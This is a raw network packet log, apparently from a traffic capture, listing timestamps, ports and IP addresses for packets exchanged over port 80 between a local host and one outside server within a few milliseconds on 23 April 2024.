Apr 23, 2024 08:39:58.735804081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735866070 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735876083 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735887051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735899925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735913038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.735932112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.735994101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736006975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736016035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736016989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736028910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736047029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736052036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736071110 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736082077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736094952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736115932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736160040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736185074 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736200094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736213923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736224890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736248016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736257076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736282110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736304045 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736316919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736340046 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736341000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736426115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736449003 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736509085 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736574888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736599922 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736627102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736639977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736660004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736675024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736686945 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736699104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736711025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736730099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736743927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736761093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736802101 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736820936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736821890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736879110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736891031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736902952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736922979 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736937046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736955881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.736970901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.736984015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737000942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737026930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737040043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737062931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737107038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737162113 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737185001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737220049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737318993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737332106 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737343073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737344027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737354994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737366915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737380981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737392902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737402916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737453938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737468004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737510920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737524986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737533092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737548113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737566948 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737591028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737664938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737741947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737756014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737761974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737766981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737786055 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737812042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737837076 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737885952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737945080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737957954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737963915 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.737970114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.737982988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738003016 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738008022 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738039970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738061905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738094091 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738106966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738117933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738163948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738177061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738188028 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738255978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738269091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738280058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738281965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738293886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738306999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738315105 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738327980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738373041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738385916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738415003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738517046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738529921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738547087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738564968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738568068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738588095 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738612890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738686085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738698006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738706112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738730907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738744020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738748074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738755941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738817930 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738842010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738857031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738881111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.738907099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738919020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738975048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738987923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.738997936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739053965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739077091 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739139080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739151955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739164114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739164114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739176989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739200115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739209890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739227057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739233971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739252090 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739255905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739288092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739306927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739413977 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739427090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739444017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739463091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739487886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739507914 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739547014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739559889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739588976 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739609003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739623070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739639044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739645958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739698887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739712954 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739732981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739748001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739773035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739839077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739851952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739873886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739887953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739901066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739913940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739923954 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.739963055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739975929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.739986897 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740070105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740088940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740092993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740142107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740197897 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740216017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740216970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740277052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740289927 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740298033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740329027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740349054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740349054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740375996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740411043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740430117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740524054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740542889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740557909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740609884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740648985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740659952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740669966 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740775108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740789890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740833044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740854979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740932941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740947008 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740957975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740968943 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740971088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.740981102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.740993023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741004944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741014957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741017103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741039991 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741064072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741066933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741101980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741113901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741117001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741127014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741141081 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741154909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741172075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741185904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741219997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741265059 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741277933 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741283894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741321087 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741338968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741358042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741373062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741394997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741431952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741450071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741473913 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741507053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741519928 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741564035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741564035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741564035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741621017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741662979 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741684914 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741699934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741735935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741836071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741859913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741884947 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741904974 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.741909981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741933107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741952896 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.741971016 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742043018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742057085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742062092 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742075920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742100000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742136955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742153883 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742166996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742187023 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742249966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742276907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742331982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742336035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742379904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742392063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742398977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742463112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742475986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742481947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742487907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742511034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742561102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742561102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742566109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742578983 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742589951 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742603064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742638111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742638111 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742665052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742703915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742737055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742755890 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742783070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742847919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742875099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742896080 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742912054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742933989 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.742959976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742973089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.742991924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743010044 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743057966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743071079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743077993 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743087053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743103027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743180037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743218899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743231058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743257046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743269920 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743280888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743294001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743311882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743319035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743343115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743375063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743388891 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743396044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743422031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743460894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743460894 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743531942 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743546963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743582964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743601084 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743602037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743654966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743683100 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.743702888 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.743777037 CEST	80	49705	138.199.40.58	192.168.2.7
